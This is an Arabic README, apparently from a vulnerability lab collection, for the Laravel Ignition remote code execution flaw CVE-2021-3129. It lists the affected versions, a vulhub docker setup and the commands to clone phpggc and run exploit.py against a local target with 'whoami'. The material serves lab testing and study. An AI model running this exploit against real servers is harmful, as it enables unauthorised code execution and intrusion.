CVE-2021-3129

ثغرة تنفيذ الأكواد عن بُعد في وضع تصحيح Laravel CVE-2021-3129

الإصدارات المتأثرة والشروط

Laravel <= 8.4.2 Ignition <2.5.2

إعداد البيئة

docker pull vulhub/laravel:8.4.2

استخدام الاستغلال

في نفس دليل exploit.py، قم بتنفيذ الأمر: git clone https://github.com/ambionics/phpggc.git python3 exploit.py http://127.0.0.1:80 "whoami"